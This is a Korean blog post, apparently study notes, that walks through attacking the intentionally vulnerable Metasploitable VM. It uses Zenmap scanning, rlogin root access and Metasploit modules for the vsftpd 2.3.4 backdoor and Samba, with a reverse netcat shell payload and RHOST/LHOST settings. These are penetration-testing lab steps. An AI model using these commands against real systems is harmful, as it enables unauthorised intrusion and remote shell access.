서버 측 정보 수집하기 및 Metasploit

안수균·2024년 8월 9일
0

Kali Linux & Hacking

목록 보기
13/19
post-thumbnail

진행하기 앞서, 특정 서버 컴퓨터를 타겟에 대해 정보 수집을 하고 공격을 테스트하기 위해서 Metasploitable 이라는 가상머신을 이용할 것이다.

Metasploitable은 다양한 취약점이 포함된 여러 서비스와 애플리케이션을 실행하고 있어, 사용자는 이를 통해 실제 환경에서 발생할 수 있는 공격 기법을 실습할 수 있는 장점이 있다.

특정 서버 컴퓨터에 대한 정보 수집을 하려면 가장 먼저 IP 주소 획득이 필요하다.

ping 을 통해 IP 주소 획득하기

만약 도메인이 있는 서버라면 아래 명령어를 통해 IP 주소를 획득할 수 있다.

ping [도메인 주소]

정보 수집하기

zenmap에서 아이피주소를 입력하고 Intense scan을 하면 열려있는 포트와 서비스를 확인할 수 있다.

열려있는 서비스중에 ftp 서비스를 찾아볼 수 있는데, 잘못된 구성으로 패스워드 없이 포트와 IP 주소만으로 연결할 수 있게 되어있는 걸 볼 수 있다.

ftp 말고도 열려있는 서비스들을 구글링해서 동의 없이 접근할 수 있는지 여부를 판단할 수 있다.

가령, netkit-rsh rexecd 에 대해 알아보려고 구글링을 해보자.


해당 사이트에 들어가보면 우선 원격 실행 프로그램이라는 것을 알 수 있고, 많은 명령어 정보를 알 수 있다.

  • rexec: 비밀번호 기반 원격 실행 프로그램
  • rsh: 비밀번호 없는 원격 실행 프로그램
  • rcp: rsh를 사용하는 원격 복사 프로그램
  • rlogin: 원격 로그인 프로그램
  • rshd: rsh 연결을 위한 데몬
  • rexecd: rexec 연결을 위한 데몬
  • rlogind: rlogin 연결을 위한 데몬

이 중에 rlogin을 통해 원격으로 접속을 해볼 것이다.

명령어 사용법을 모른다면 위와 같이 알 수 있다.


이렇게 root 계정으로 타겟 컴퓨터에 무단으로 접속할 수 있다.

Metasploit

Metasploit은 보안 전문가와 해커들이 취약점을 찾아내고 이를 이용하여 시스템의 보안을 테스트하는 데 사용하는 강력한 프레임워크이다. 주로 침투 테스트(penetration testing)와 보안 연구에 활용된다.

타겟 컴퓨터에 설치되어있는 백도어를 통해 익스플로잇을 해볼 것이다.

Metasploit 기초 명령어

  • msfconsole: 메타스플로잇 콘솔을 실행한다.
  • help: 도움말을 표시한다.
  • show [something]: something은 익스플로잇, 페이로드, 보조 도구 또는 옵션이 될 수 있다.
  • use [something]: 특정 익스플로잇, 페이로드 또는 보조 도구를 사용한다.
  • set [option][value]: [option]을 [value]로 설정한다.
  • exploit: 현재 작업을 실행한다.

Metasplit 명령에는 이 외에도 여러가지 명령어들이 있다.

vsftpd 2.3.4 expolit

우선 vsftpd 2.3.4 expolit 로 구글링을 해보자.



Rapid7 사이트를 들어가보면 VSFTPD v2.3.4 에 백도어 명령 실행 모듈이 있다고 알려준다.

참고로 Rapid7 은 Metasploit 프레임워크를 만드는 회사이다.

하단으로 스크롤을 내려보면 사용할 모듈 이름이 나와있으므로 복사한다.

msfconsole

위 명령어로 Metasploit 콘솔을 실행한다.

use exploit/unix/ftp/vsftpd_234_backdoor

아까 복사한 모듈을 이용해서 use 명령어를 쓴다.

show options

위 명령어로 이 특정한 익스플로잇에서 변경할 수 있는 모든 옵션을 볼 수 있다.
여기서 RHOST 옵션을 타겟 IP로 변경해볼 것이다.

set RHOST [타겟 IP]

위 명령어로 RHOST 를 변경한다.

exploit

이제 위 명령어로 타겟 컴퓨터에 액세스 할 수 있다.

Samba smbd exploit


이전에 했던 것과 마찬가지로 방식으로 모듈 경로를 알아낸다.



show options 명령어로 변경할 수 있는 옵션을 본다.


RHOST를 타겟 IP로 바꾼다.

vsftpd 을 익스플로잇 했을 때는 이미 설치된 백도어에 연결만 하면 됐었는데, 이번에는 대상 컴퓨터에라 코드 실행 취약성을 지닌 일반 프로그램을 이용할 것이다.

여기에는 그저 짧은 코드를 실행할 수 있는 특정한 결함이 있고, 이 짧은 코드를 페이로드라고 한다.

페이로드를 통해 유용한 작업을 할 것이다.

show payloads

위 명령어로 페이로드를 확인할 수 있다.

해당 페이로드에는 bind 페이로드와 reverse 페이로드로 나뉘어지는데, bind 페이로드는 대상 컴퓨터의 포트를 연 다음 해당 포트에 연결하는 작업이고, reverse는 내 컴퓨터의 포트를 열고 대상 컴퓨터를 내 컴퓨터로 연결하는 것이다.

reverse로 하면 대상 컴퓨터를 내 컴퓨터를 연결하고 내 컴퓨터에 방화벽이 없다면 방화벽을 우회할 수 있는셈이 된다.

참고로 bind나 reverse 뒤에 있는 단어들은 연결하는 데 사용되는 언어나 도구 및 프로그램들을 의미한다. 여기서 netcat으로 되어있는 것을 사용해볼 것이다.

set PAYLOAD payload/cmd/unix/reverse_netcat

위 명령어로 특정 페이로드를 설정할 수 있다. show options 명령어를 입력해보면 페이로드가 추가된 걸 확인할 수 있다.

만약 해당 페이로드의 LHOST 에 Current Setting 가 없다면 set 명령어를 통해 내 컴퓨터의 아이피로 적는다.

LPORT 를 통해 어떤 포트로 수신할지도 설정할 수 있다.

이전과 똑같이 exploit 명령어를 통해 대상 컴퓨터에 액세스 할 수 있다.

profile
공부한 내용을 블로그에서 정리합니다.

0개의 댓글